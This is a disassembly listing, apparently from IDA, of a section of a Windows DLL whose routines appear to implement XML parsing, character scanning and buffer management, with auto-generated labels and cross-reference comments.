loc_69B356AF: ; CODE XREF: sub_69B355C8+3Aj
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
push 1
mov ecx, esi
call sub_69B3220F
cmp eax, ebx
jl loc_69B3576A
mov ecx, [esi+34h]
pop edi
pop esi
pop ebx
jmp sub_69B35D39
; ---------------------------------------------------------------------------
loc_69B356D4: ; CODE XREF: sub_69B355C8+10j
mov ecx, [esi+34h]
call sub_69B35F5B
cmp eax, ebx
jl loc_69B3576A
push edi
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl short loc_69B3576A
mov ecx, esi
call sub_69B32791
cmp eax, ebx
jl short loc_69B3576A
mov [esi+4], di
loc_69B35704: ; CODE XREF: sub_69B355C8+17j
cmp [esi+5Ch], bl
jnz loc_69B35660
mov ax, [esi+52h]
cmp ax, 2Fh
mov [esi+44h], edi
jz short loc_69B35762
cmp ax, 3Eh
jz short loc_69B35762
cmp [esi+8Bh], bl
jz short loc_69B35736
cmp ax, 3Dh
jnz short loc_69B35736
mov word ptr [esi+4], 4
jmp short loc_69B35768
; ---------------------------------------------------------------------------
loc_69B35736: ; CODE XREF: sub_69B355C8+15Ej
; sub_69B355C8+164j
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jz short loc_69B35748
mov eax, 0C00CE505h
jmp short loc_69B3576A
; ---------------------------------------------------------------------------
loc_69B35748: ; CODE XREF: sub_69B355C8+177j
push 2
push offset sub_69B34F0F
mov ecx, esi
mov word ptr [esi+5Ah], 2Fh
call sub_69B320E7
cmp eax, ebx
jge short loc_69B35768
jmp short loc_69B3576A
; ---------------------------------------------------------------------------
loc_69B35762: ; CODE XREF: sub_69B355C8+150j
; sub_69B355C8+156j
mov word ptr [esi+4], 2
loc_69B35768: ; CODE XREF: sub_69B355C8+16Cj
; sub_69B355C8+196j
xor eax, eax
loc_69B3576A: ; CODE XREF: sub_69B355C8+2Ej
; sub_69B355C8+74j ...
pop edi
pop esi
pop ebx
retn
sub_69B355C8 endp
; =============== S U B R O U T I N E =======================================
sub_69B3576E proc near ; DATA XREF: sub_69B3587A:loc_69B358A2o
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+5Ch]
xor ebx, ebx
cmp [edi], bl
jz short loc_69B35786
mov eax, 0C00CE500h
jmp loc_69B35876
; ---------------------------------------------------------------------------
loc_69B35786: ; CODE XREF: sub_69B3576E+Cj
push ebp
lea ebp, [esi+52h]
cmp word ptr [ebp+0], 3Ch
jz short loc_69B357B1
push ebx
push offset sub_69B35320
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl loc_69B35875
pop ebp
pop edi
mov ecx, esi
pop esi
pop ebx
jmp sub_69B35320
; ---------------------------------------------------------------------------
loc_69B357B1: ; CODE XREF: sub_69B3576E+21j
cmp [esi+0A8h], bl
jnz short loc_69B357C5
mov ecx, [esi+34h]
push edi
push ebp
call sub_69B35FE4
jmp short loc_69B357CC
; ---------------------------------------------------------------------------
loc_69B357C5: ; CODE XREF: sub_69B3576E+49j
mov ecx, esi
call sub_69B34A8C
loc_69B357CC: ; CODE XREF: sub_69B3576E+55j
cmp eax, ebx
jnz loc_69B35875
cmp [edi], bl
jz short loc_69B357E2
mov eax, 0C00CE562h
jmp loc_69B35875
; ---------------------------------------------------------------------------
loc_69B357E2: ; CODE XREF: sub_69B3576E+68j
movzx eax, word ptr [ebp+0]
cmp eax, 21h
jz short loc_69B35857
cmp eax, 2Fh
push ebx
mov ecx, esi
jz short loc_69B3583E
cmp eax, 3Fh
jz short loc_69B35825
push offset sub_69B355C8
call sub_69B320E7
cmp eax, ebx
jl short loc_69B35875
cmp [esi+51h], bl
jz short loc_69B35816
pop ebp
pop edi
mov ecx, esi
pop esi
pop ebx
jmp sub_69B355C8
; ---------------------------------------------------------------------------
loc_69B35816: ; CODE XREF: sub_69B3576E+9Bj
mov byte ptr [esi+51h], 1
mov dword ptr [esi+44h], 46h
xor eax, eax
jmp short loc_69B35875
; ---------------------------------------------------------------------------
loc_69B35825: ; CODE XREF: sub_69B3576E+88j
push offset sub_69B2132A
call sub_69B320E7
cmp eax, ebx
jl short loc_69B35875
pop ebp
pop edi
mov ecx, esi
pop esi
pop ebx
jmp sub_69B2132A
; ---------------------------------------------------------------------------
loc_69B3583E: ; CODE XREF: sub_69B3576E+83j
push offset sub_69B34E0B
call sub_69B320E7
cmp eax, ebx
jl short loc_69B35875
pop ebp
pop edi
mov ecx, esi
pop esi
pop ebx
jmp sub_69B34E0B
; ---------------------------------------------------------------------------
loc_69B35857: ; CODE XREF: sub_69B3576E+7Bj
mov ecx, [esi+34h]
call sub_69B35F5B
cmp eax, ebx
jl short loc_69B35875
push 0C00CE562h
push offset dword_69B26E30
push ebx
mov ecx, esi
call sub_69B347A6
loc_69B35875: ; CODE XREF: sub_69B3576E+32j
; sub_69B3576E+60j ...
pop ebp
loc_69B35876: ; CODE XREF: sub_69B3576E+13j
pop edi
pop esi
pop ebx
retn
sub_69B3576E endp
; =============== S U B R O U T I N E =======================================
sub_69B3587A proc near ; CODE XREF: sub_69B358B8+30p
; sub_69B35905+4p ...
push esi
mov esi, ecx
cmp dword ptr [esi+34h], 0
jnz short loc_69B3588A
mov eax, 0C00CE500h
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B3588A: ; CODE XREF: sub_69B3587A+7j
mov ecx, esi
call sub_69B31FE7
cmp byte ptr [esi+0A8h], 0
jz short loc_69B358A2
mov dword ptr [esi], offset sub_69B347D3
jmp short loc_69B358A8
; ---------------------------------------------------------------------------
loc_69B358A2: ; CODE XREF: sub_69B3587A+1Ej
mov dword ptr [esi], offset sub_69B3576E
loc_69B358A8: ; CODE XREF: sub_69B3587A+26j
push 0
push offset sub_69B34DD2
mov ecx, esi
call sub_69B320E7
pop esi
retn
sub_69B3587A endp
; =============== S U B R O U T I N E =======================================
sub_69B358B8 proc near ; CODE XREF: sub_69B398C8+73p
; sub_69B39A0F+77p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
cmp dword ptr [esi+34h], 0
jnz short loc_69B358ED
push 58h
call sub_69B11E44
test eax, eax
jz short loc_69B358D6
push esi
mov ecx, eax
call sub_69B35E5C
jmp short loc_69B358D8
; ---------------------------------------------------------------------------
loc_69B358D6: ; CODE XREF: sub_69B358B8+12j
xor eax, eax
loc_69B358D8: ; CODE XREF: sub_69B358B8+1Cj
test eax, eax
mov [esi+34h], eax
jnz short loc_69B358E6
mov eax, 8007000Eh
jmp short loc_69B35901
; ---------------------------------------------------------------------------
loc_69B358E6: ; CODE XREF: sub_69B358B8+25j
mov ecx, esi
call sub_69B3587A
loc_69B358ED: ; CODE XREF: sub_69B358B8+7j
push [esp+4+arg_8]
mov ecx, [esi+34h]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B35EC2
loc_69B35901: ; CODE XREF: sub_69B358B8+2Cj
pop esi
retn 0Ch
sub_69B358B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B35905 proc near ; CODE XREF: sub_69B384B3+17p
push esi
push edi
mov esi, ecx
call sub_69B3587A
mov edi, [esi+34h]
test edi, edi
jz short loc_69B35922
mov ecx, edi
call sub_69B35E77
push edi
call sub_69B1B2B7
loc_69B35922: ; CODE XREF: sub_69B35905+Ej
and dword ptr [esi+34h], 0
pop edi
xor eax, eax
pop esi
retn
sub_69B35905 endp
; =============== S U B R O U T I N E =======================================
sub_69B3592B proc near ; CODE XREF: sub_69B35A2B+7p
; sub_69B3845F+3Fp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+24h], ebx
jnz short loc_69B35940
cmp [esi+34h], ebx
jnz short loc_69B35940
call sub_69B3587A
loc_69B35940: ; CODE XREF: sub_69B3592B+9j
; sub_69B3592B+Ej
inc dword ptr [esi+30h]
cmp [esi+50h], bl
mov [esi+5Dh], bl
jz short loc_69B35960
mov ecx, [esi+34h]
cmp ecx, ebx
jz short loc_69B35960
push dword ptr [esi+4Ch]
call sub_69B318D1
mov [esi+4Ch], ebx
mov [esi+50h], bl
loc_69B35960: ; CODE XREF: sub_69B3592B+1Ej
; sub_69B3592B+25j
cmp [esi+34h], ebx
jz short loc_69B359DE
lea ecx, [esi+1Ch]
call sub_69B318FB
cmp eax, ebx
jz loc_69B359FC
mov ecx, [esi+34h]
mov dl, [esp+8+arg_4]
mov [eax], ecx
mov cx, [esi+52h]
mov [eax+4], cx
mov byte ptr [eax+6], 1
mov [eax+7], dl
mov cl, [esi+0A9h]
mov [eax+8], cl
mov ecx, [esi]
cmp ecx, offset sub_69B3254F
jnz short loc_69B359BA
cmp [esi+10h], ebx
jle short loc_69B359BA
mov ecx, [esi+10h]
cmp ecx, ebx
jnz short loc_69B359B0
xor ecx, ecx
jmp short loc_69B359B8
; ---------------------------------------------------------------------------
loc_69B359B0: ; CODE XREF: sub_69B3592B+7Fj
dec ecx
imul ecx, [esi+8]
add ecx, [esi+0Ch]
loc_69B359B8: ; CODE XREF: sub_69B3592B+83j
mov ecx, [ecx]
loc_69B359BA: ; CODE XREF: sub_69B3592B+73j
; sub_69B3592B+78j
cmp dl, bl
mov [eax+0Ch], ecx
jz short loc_69B359C7
mov [esi+0A9h], bl
loc_69B359C7: ; CODE XREF: sub_69B3592B+94j
cmp [esi+8Eh], bl
jnz short loc_69B359DB
mov word ptr [esi+52h], 20h
mov word ptr [esi+38h], 20h
loc_69B359DB: ; CODE XREF: sub_69B3592B+A2j
mov [esi+34h], ebx
loc_69B359DE: ; CODE XREF: sub_69B3592B+38j
push 58h
call sub_69B11E44
cmp eax, ebx
jz short loc_69B359F3
push esi
mov ecx, eax
call sub_69B35E5C
jmp short loc_69B359F5
; ---------------------------------------------------------------------------
loc_69B359F3: ; CODE XREF: sub_69B3592B+BCj
xor eax, eax
loc_69B359F5: ; CODE XREF: sub_69B3592B+C6j
cmp eax, ebx
mov [esi+34h], eax
jnz short loc_69B35A03
loc_69B359FC: ; CODE XREF: sub_69B3592B+44j
mov eax, 8007000Eh
jmp short loc_69B35A26
; ---------------------------------------------------------------------------
loc_69B35A03: ; CODE XREF: sub_69B3592B+CFj
cmp [esp+8+arg_0], ebx
jz short loc_69B35A14
push [esp+8+arg_0]
mov ecx, eax
call sub_69B35EA3
loc_69B35A14: ; CODE XREF: sub_69B3592B+DCj
cmp word ptr [esi+52h], 20h
jnz short loc_69B35A24
mov esi, [esi+34h]
mov eax, [esi+8]
mov [esi+48h], eax
loc_69B35A24: ; CODE XREF: sub_69B3592B+EEj
xor eax, eax
loc_69B35A26: ; CODE XREF: sub_69B3592B+D6j
pop esi
pop ebx
retn 8
sub_69B3592B endp
; =============== S U B R O U T I N E =======================================
sub_69B35A2B proc near ; CODE XREF: sub_69B3773E+46p
; sub_69B39A0F+A2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
push 0
push 0
mov esi, ecx
call sub_69B3592B
test eax, eax
jl short loc_69B35A94
mov eax, [esi+24h]
test eax, eax
jz short loc_69B35A4A
dec eax
imul eax, [esi+1Ch]
add eax, [esi+20h]
loc_69B35A4A: ; CODE XREF: sub_69B35A2B+15j
push ebx
mov bl, [esp+8+arg_8]
push 0
push 2
mov [eax+6], bl
mov ecx, [esi+34h]
push offset word_69B26230
call sub_69B35EC2
test eax, eax
jl short loc_69B35A93
mov eax, [esp+8+arg_4]
mov ecx, [esi+34h]
push 1
add eax, eax
push eax
push [esp+10h+arg_0]
call sub_69B35EC2
test eax, eax
jl short loc_69B35A93
test bl, bl
jnz short loc_69B35A93
cmp [esi+0A8h], bl
jz short loc_69B35A93
mov ecx, esi
call sub_69B34A8C
loc_69B35A93: ; CODE XREF: sub_69B35A2B+3Aj
; sub_69B35A2B+53j ...
pop ebx
loc_69B35A94: ; CODE XREF: sub_69B35A2B+Ej
pop esi
retn 0Ch
sub_69B35A2B endp
; =============== S U B R O U T I N E =======================================
sub_69B35A98 proc near ; CODE XREF: sub_69B39299+14p
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
push 1
push 14h
lea ecx, [esi+8]
call sub_69B88ED8
push 1
push 10h
lea ecx, [esi+1Ch]
call sub_69B88ED8
mov eax, [esp+8+arg_0]
xor ebx, ebx
mov ecx, esi
mov dword ptr [esi], offset sub_69B3587A
mov [esi+34h], ebx
mov [esi+98h], ebx
mov [esi+0A8h], bl
mov [esi+0A9h], bl
mov [esi+30h], ebx
mov [esi+0C4h], eax
call sub_69B31FE7
push ebx
mov ecx, esi
call sub_69B31CD2
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B35A98 endp
; =============== S U B R O U T I N E =======================================
sub_69B35AF4 proc near ; CODE XREF: sub_69B35E5C+11p
; sub_69B35EA3+7p ...
or dword ptr [ecx+3Ch], 0FFFFFFFFh
or dword ptr [ecx+48h], 0FFFFFFFFh
xor eax, eax
xor edx, edx
inc edx
mov [ecx+14h], eax
mov [ecx+18h], eax
mov [ecx+8], eax
mov [ecx+20h], edx
mov [ecx+28h], edx
mov [ecx+24h], eax
mov [ecx+2Ch], eax
mov [ecx+1Ch], ax
mov [ecx+30h], eax
mov [ecx+34h], al
mov [ecx+38h], eax
mov [ecx+35h], al
mov [ecx+36h], al
mov [ecx+50h], eax
retn
sub_69B35AF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B35B2D proc near ; CODE XREF: sub_69B32324+83p
; sub_69B3299B+39p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [ecx+8]
push ebx
push esi
xor bl, bl
cmp [ecx+48h], eax
push edi
jz short loc_69B35B3C
inc bl
loc_69B35B3C: ; CODE XREF: sub_69B35B2D+Bj
cmp eax, [ecx+18h]
jge loc_69B35BD5
mov edi, [ecx+4]
loc_69B35B48: ; CODE XREF: sub_69B35B2D+A2j
mov eax, [ecx+8]
mov si, [edi+eax*2]
movzx edx, si
inc eax
cmp edx, 27h
mov [ecx+8], eax
jg short loc_69B35BA8
cmp edx, 26h
jge short loc_69B35B76
sub edx, 9
jz short loc_69B35BA3
dec edx
jz short loc_69B35B8C
sub edx, 3
jz short loc_69B35B8C
sub edx, 13h
jz short loc_69B35BA3
dec edx
dec edx
jnz short loc_69B35BC7
loc_69B35B76: ; CODE XREF: sub_69B35B2D+31j
; sub_69B35B2D+7Ej ...
test bl, bl
mov eax, [esp+0Ch+arg_0]
mov [eax], si
jz short loc_69B35B88
mov eax, [esp+0Ch+arg_4]
mov byte ptr [eax], 0
loc_69B35B88: ; CODE XREF: sub_69B35B2D+52j
xor eax, eax
jmp short loc_69B35BE5
; ---------------------------------------------------------------------------
loc_69B35B8C: ; CODE XREF: sub_69B35B2D+39j
; sub_69B35B2D+3Ej
cmp si, 0Dh
jz short loc_69B35B99
cmp word ptr [ecx+1Ch], 0Dh
jz short loc_69B35B9C
loc_69B35B99: ; CODE XREF: sub_69B35B2D+63j
inc dword ptr [ecx+20h]
loc_69B35B9C: ; CODE XREF: sub_69B35B2D+6Aj
mov [ecx+24h], eax
mov [ecx+1Ch], si
loc_69B35BA3: ; CODE XREF: sub_69B35B2D+36j
; sub_69B35B2D+43j
mov [ecx+48h], eax
jmp short loc_69B35BC9
; ---------------------------------------------------------------------------
loc_69B35BA8: ; CODE XREF: sub_69B35B2D+2Cj
cmp edx, 3Ch
jz short loc_69B35B76
cmp edx, 3Eh
jz short loc_69B35B76
cmp edx, 5Dh
jz short loc_69B35B76
cmp edx, 0FFFDh
jle short loc_69B35BC7
cmp edx, 0FFFFh
jle short loc_69B35BEB
loc_69B35BC7: ; CODE XREF: sub_69B35B2D+47j
; sub_69B35B2D+90j
mov bl, 1
loc_69B35BC9: ; CODE XREF: sub_69B35B2D+79j
mov eax, [ecx+8]
cmp eax, [ecx+18h]
jl loc_69B35B48
loc_69B35BD5: ; CODE XREF: sub_69B35B2D+12j
test bl, bl
jz short loc_69B35BE0
mov eax, [esp+0Ch+arg_4]
mov byte ptr [eax], 0
loc_69B35BE0: ; CODE XREF: sub_69B35B2D+AAj
mov eax, 8000000Ah
loc_69B35BE5: ; CODE XREF: sub_69B35B2D+5Dj
; sub_69B35B2D+C3j
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_69B35BEB: ; CODE XREF: sub_69B35B2D+98j
mov eax, 0C00CE508h
jmp short loc_69B35BE5
sub_69B35B2D endp
; =============== S U B R O U T I N E =======================================
sub_69B35BF2 proc near ; CODE XREF: sub_69B3219C+Bj
; DATA XREF: .text:69B144D0o
mov eax, [ecx+28h]
retn
sub_69B35BF2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B321AF
loc_69B35BF6: ; CODE XREF: sub_69B321AF+Bj
mov eax, [ecx+14h]
mov ecx, [ecx+2Ch]
lea edx, [eax+1]
cmp ecx, edx
jle short loc_69B35C06
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_69B35C06: ; CODE XREF: sub_69B321AF+3A52j
sub eax, ecx
inc eax
retn
; END OF FUNCTION CHUNK FOR sub_69B321AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B321C2
loc_69B35C0A: ; CODE XREF: sub_69B321C2+Bj
mov eax, [ecx+30h]
add eax, [ecx+14h]
retn
; END OF FUNCTION CHUNK FOR sub_69B321C2
; =============== S U B R O U T I N E =======================================
sub_69B35C11 proc near ; CODE XREF: sub_69B32091+2Bp
; sub_69B321D5+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_0]
and dword ptr [edi], 0
mov eax, [ecx+4]
test eax, eax
jz short loc_69B35C61
mov edx, [ecx+2Ch]
lea eax, [eax+edx*2]
mov dx, [eax]
push esi
xor esi, esi
jmp short loc_69B35C3F
; ---------------------------------------------------------------------------
loc_69B35C2E: ; CODE XREF: sub_69B35C11+31j
cmp dx, 0Ah
jz short loc_69B35C44
cmp dx, 0Dh
jz short loc_69B35C44
inc esi
mov dx, [eax+esi*2]
loc_69B35C3F: ; CODE XREF: sub_69B35C11+1Bj
test dx, dx
jnz short loc_69B35C2E
loc_69B35C44: ; CODE XREF: sub_69B35C11+21j
; sub_69B35C11+27j
mov [edi], esi
mov edx, [ecx+14h]
mov ecx, [ecx+2Ch]
lea esi, [edx+1]
cmp ecx, esi
pop esi
jle short loc_69B35C58
xor edx, edx
jmp short loc_69B35C5B
; ---------------------------------------------------------------------------
loc_69B35C58: ; CODE XREF: sub_69B35C11+41j
sub edx, ecx
inc edx
loc_69B35C5B: ; CODE XREF: sub_69B35C11+45j
mov ecx, [esp+4+arg_4]
mov [ecx], edx
loc_69B35C61: ; CODE XREF: sub_69B35C11+Dj
pop edi
retn 8
sub_69B35C11 endp
; =============== S U B R O U T I N E =======================================
sub_69B35C65 proc near ; CODE XREF: sub_69B2132A+342p
; sub_69B32BA0+245p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [ecx+4]
test eax, eax
jnz short loc_69B35C73
mov eax, 80004005h
jmp short locret_69B35C8E
; ---------------------------------------------------------------------------
loc_69B35C73: ; CODE XREF: sub_69B35C65+5j
mov edx, [ecx+14h]
lea eax, [eax+edx*2]
mov edx, [esp+arg_0]
mov [edx], eax
mov eax, [ecx+8]
sub eax, [ecx+14h]
mov ecx, [esp+arg_4]
dec eax
mov [ecx], eax
xor eax, eax
locret_69B35C8E: ; CODE XREF: sub_69B35C65+Cj
retn 8
sub_69B35C65 endp
; =============== S U B R O U T I N E =======================================
sub_69B35C91 proc near ; CODE XREF: sub_69B324CC+42p
inc dword ptr [ecx+38h]
cmp dword ptr [ecx+38h], 1
jnz short locret_69B35CAC
mov eax, [ecx+14h]
mov [ecx+3Ch], eax
mov eax, [ecx+28h]
mov [ecx+40h], eax
mov eax, [ecx+2Ch]
mov [ecx+44h], eax
locret_69B35CAC: ; CODE XREF: sub_69B35C91+7j
retn
sub_69B35C91 endp
; =============== S U B R O U T I N E =======================================
sub_69B35CAD proc near ; CODE XREF: sub_69B324CC+17p
dec dword ptr [ecx+38h]
jnz short locret_69B35CC8
mov eax, [ecx+3Ch]
or dword ptr [ecx+3Ch], 0FFFFFFFFh
mov [ecx+14h], eax
mov eax, [ecx+40h]
mov [ecx+28h], eax
mov eax, [ecx+44h]
mov [ecx+2Ch], eax
locret_69B35CC8: ; CODE XREF: sub_69B35CAD+3j
retn
sub_69B35CAD endp
; =============== S U B R O U T I N E =======================================
sub_69B35CC9 proc near ; CODE XREF: sub_69B35D46+Dp
; sub_69B35FE4+2Cp
mov edx, [ecx+3Ch]
xor eax, eax
test edx, edx
jle short loc_69B35CD9
mov ecx, [ecx+44h]
cmp ecx, edx
jmp short loc_69B35CE7
; ---------------------------------------------------------------------------
loc_69B35CD9: ; CODE XREF: sub_69B35CC9+7j
mov edx, [ecx+14h]
test edx, edx
jle short locret_69B35CF5
mov ecx, [ecx+2Ch]
mov eax, edx
cmp ecx, eax
loc_69B35CE7: ; CODE XREF: sub_69B35CC9+Ej
jge short locret_69B35CF5
sub edx, ecx
cmp edx, 200h
jge short locret_69B35CF5
mov eax, ecx
locret_69B35CF5: ; CODE XREF: sub_69B35CC9+15j
; sub_69B35CC9:loc_69B35CE7j ...
retn
sub_69B35CC9 endp
; =============== S U B R O U T I N E =======================================
sub_69B35CF6 proc near ; CODE XREF: sub_69B35D39+8j
; sub_69B35F15+38p
push esi
mov esi, ecx
mov edx, [esi+8]
add edx, [esi+30h]
mov eax, [esi+50h]
mov ecx, [esi]
and dword ptr [esi+50h], 0
push edx
push eax
call sub_69B361FC
cmp eax, 1
jnz short loc_69B35D21
mov eax, [esi+8]
add eax, [esi+30h]
mov [esi+18h], eax
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B35D21: ; CODE XREF: sub_69B35CF6+1Cj
test eax, eax
jge short loc_69B35D37
xor ecx, ecx
cmp eax, 80070057h
setnz cl
add ecx, 0C00CE56Eh
mov eax, ecx
loc_69B35D37: ; CODE XREF: sub_69B35CF6+2Dj
pop esi
retn
sub_69B35CF6 endp
; =============== S U B R O U T I N E =======================================
sub_69B35D39 proc near ; CODE XREF: sub_69B2132A+25Cp
; sub_69B33E72+4CFp ...
cmp dword ptr [ecx+50h], 0
mov byte ptr [ecx+36h], 0
jnz short sub_69B35CF6
xor eax, eax
retn
sub_69B35D39 endp
; =============== S U B R O U T I N E =======================================
sub_69B35D46 proc near ; CODE XREF: sub_69B35F5B+Bp
; sub_69B35F77+7p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
mov ebp, ecx
cmp byte ptr [ebp+36h], 0
push esi
push edi
jnz short loc_69B35DB9
call sub_69B35CC9
mov esi, eax
test esi, esi
jle short loc_69B35DB9
sub [ebp+18h], esi
mov ecx, [ebp+18h]
mov eax, [ebp+4]
add [ebp+30h], esi
add ecx, ecx
push ecx
lea ecx, [eax+esi*2]
push ecx
push eax
call sub_69B22103
mov eax, [ebp+24h]
sub [ebp+8], esi
sub [ebp+0Ch], esi
sub [ebp+48h], esi
add esp, 0Ch
cmp eax, esi
jle short loc_69B35D8E
sub eax, esi
jmp short loc_69B35D90
; ---------------------------------------------------------------------------
loc_69B35D8E: ; CODE XREF: sub_69B35D46+42j
xor eax, eax
loc_69B35D90: ; CODE XREF: sub_69B35D46+46j
cmp eax, esi
mov [ebp+24h], eax
jle short loc_69B35D9E
mov eax, [ebp+2Ch]
sub eax, esi
jmp short loc_69B35DA0
; ---------------------------------------------------------------------------
loc_69B35D9E: ; CODE XREF: sub_69B35D46+4Fj
xor eax, eax
loc_69B35DA0: ; CODE XREF: sub_69B35D46+56j
sub [ebp+14h], esi
mov [ebp+2Ch], eax
mov eax, [ebp+44h]
cmp eax, esi
jle short loc_69B35DB1
sub eax, esi
jmp short loc_69B35DB3
; ---------------------------------------------------------------------------
loc_69B35DB1: ; CODE XREF: sub_69B35D46+65j
xor eax, eax
loc_69B35DB3: ; CODE XREF: sub_69B35D46+69j
sub [ebp+3Ch], esi
mov [ebp+44h], eax
loc_69B35DB9: ; CODE XREF: sub_69B35D46+Bj
; sub_69B35D46+16j
mov eax, [ebp+10h]
mov esi, eax
sub esi, [ebp+18h]
test esi, esi
jle short loc_69B35DC6
dec esi
loc_69B35DC6: ; CODE XREF: sub_69B35D46+7Dj
cmp dword ptr [ebp+4], 0
mov edi, 1000h
jz short loc_69B35DD5
cmp esi, edi
jge short loc_69B35E54
loc_69B35DD5: ; CODE XREF: sub_69B35D46+89j
test eax, eax
mov ebx, edi
jz short loc_69B35DDE
lea ebx, [eax+eax]
loc_69B35DDE: ; CODE XREF: sub_69B35D46+93j
lea eax, [ebx+ebx]
push eax
call sub_69B11E44
test eax, eax
mov [esp+14h+var_4], eax
jnz short loc_69B35E14
mov ebx, [ebp+10h]
add ebx, edi
lea eax, [ebx+ebx]
push eax
call sub_69B11E44
test eax, eax
mov [esp+14h+var_4], eax
jnz short loc_69B35E10
test esi, esi
jnz short loc_69B35E54
mov eax, 8007000Eh
jmp short loc_69B35E56
; ---------------------------------------------------------------------------
loc_69B35E10: ; CODE XREF: sub_69B35D46+BDj
mov eax, [esp+14h+var_4]
loc_69B35E14: ; CODE XREF: sub_69B35D46+A7j
mov esi, [ebp+4]
test esi, esi
jz short loc_69B35E3C
mov ecx, [ebp+18h]
shl ecx, 1
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push dword ptr [ebp+4]
call sub_69B1B2B7
mov eax, [esp+14h+var_4]
loc_69B35E3C: ; CODE XREF: sub_69B35D46+D3j
mov ecx, [ebp+18h]
and word ptr [eax+ecx*2], 0
mov [ebp+4], eax
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
mov [ebp+10h], ebx
mov [ebp+4Ch], eax
loc_69B35E54: ; CODE XREF: sub_69B35D46+8Dj
; sub_69B35D46+C1j
xor eax, eax
loc_69B35E56: ; CODE XREF: sub_69B35D46+C8j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_69B35D46 endp
; =============== S U B R O U T I N E =======================================
sub_69B35E5C proc near ; CODE XREF: sub_69B358B8+17p
; sub_69B3592B+C1p
arg_0 = dword ptr 4
xor eax, eax
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+10h], eax
mov eax, [esp+arg_0]
mov [ecx+54h], eax
call sub_69B35AF4
mov eax, ecx
retn 4
sub_69B35E5C endp
; =============== S U B R O U T I N E =======================================
sub_69B35E77 proc near ; CODE XREF: sub_69B32133+Dp
; sub_69B32133+41p ...
push esi
mov esi, ecx
push dword ptr [esi+4]
call sub_69B1B2B7
push 0
push esi
call sub_69B17320
mov ecx, [esi+50h]
test ecx, ecx
jz short loc_69B35E97
mov eax, [ecx]
push 1
call dword ptr [eax]
loc_69B35E97: ; CODE XREF: sub_69B35E77+18j
and dword ptr [esi+50h], 0
push esi
call sub_69B17230
pop esi
retn
sub_69B35E77 endp
; =============== S U B R O U T I N E =======================================
sub_69B35EA3 proc near ; CODE XREF: sub_69B3592B+E4p
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
jz short loc_69B35EB5
call sub_69B35AF4
push [esp+arg_0]
jmp short loc_69B35EB7
; ---------------------------------------------------------------------------
loc_69B35EB5: ; CODE XREF: sub_69B35EA3+5j
push 0
loc_69B35EB7: ; CODE XREF: sub_69B35EA3+10j
push ecx
call sub_69B17320
xor eax, eax
retn 4
sub_69B35EA3 endp
; =============== S U B R O U T I N E =======================================
sub_69B35EC2 proc near ; CODE XREF: sub_69B358B8+44p
; sub_69B35A2B+33p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
cmp byte ptr [esi+34h], 0
push edi
jz short loc_69B35ED1
call sub_69B35AF4
loc_69B35ED1: ; CODE XREF: sub_69B35EC2+8j
cmp dword ptr [esi], 0
jnz short loc_69B35EF7
push 0
call sub_69B36811
mov edi, eax
test edi, edi
jnz short loc_69B35EEA
mov eax, 8007000Eh
jmp short loc_69B35F10
; ---------------------------------------------------------------------------
loc_69B35EEA: ; CODE XREF: sub_69B35EC2+1Fj
push edi
push esi
call sub_69B17320
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_69B35EF7: ; CODE XREF: sub_69B35EC2+12j
push [esp+8+arg_8]
mov ecx, [esi]
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_69B3649E
test eax, eax
jl short loc_69B35F10
xor eax, eax
loc_69B35F10: ; CODE XREF: sub_69B35EC2+26j
; sub_69B35EC2+4Aj
pop edi
pop esi
retn 0Ch
sub_69B35EC2 endp
; =============== S U B R O U T I N E =======================================
sub_69B35F15 proc near ; CODE XREF: sub_69B33E72+46Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi], edi
jnz short loc_69B35F26
mov edi, 80004005h
jmp short loc_69B35F54
; ---------------------------------------------------------------------------
loc_69B35F26: ; CODE XREF: sub_69B35F15+8j
push 0
push 0
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_69B37036
test eax, eax
mov [esi+50h], eax
jnz short loc_69B35F45
mov edi, 8007000Eh
jmp short loc_69B35F54
; ---------------------------------------------------------------------------
loc_69B35F45: ; CODE XREF: sub_69B35F15+27j
cmp byte ptr [esi+36h], 0
jnz short loc_69B35F54
mov ecx, esi
call sub_69B35CF6
mov edi, eax
loc_69B35F54: ; CODE XREF: sub_69B35F15+Fj
; sub_69B35F15+2Ej ...
mov eax, edi
pop edi
pop esi
retn 8
sub_69B35F15 endp
; =============== S U B R O U T I N E =======================================
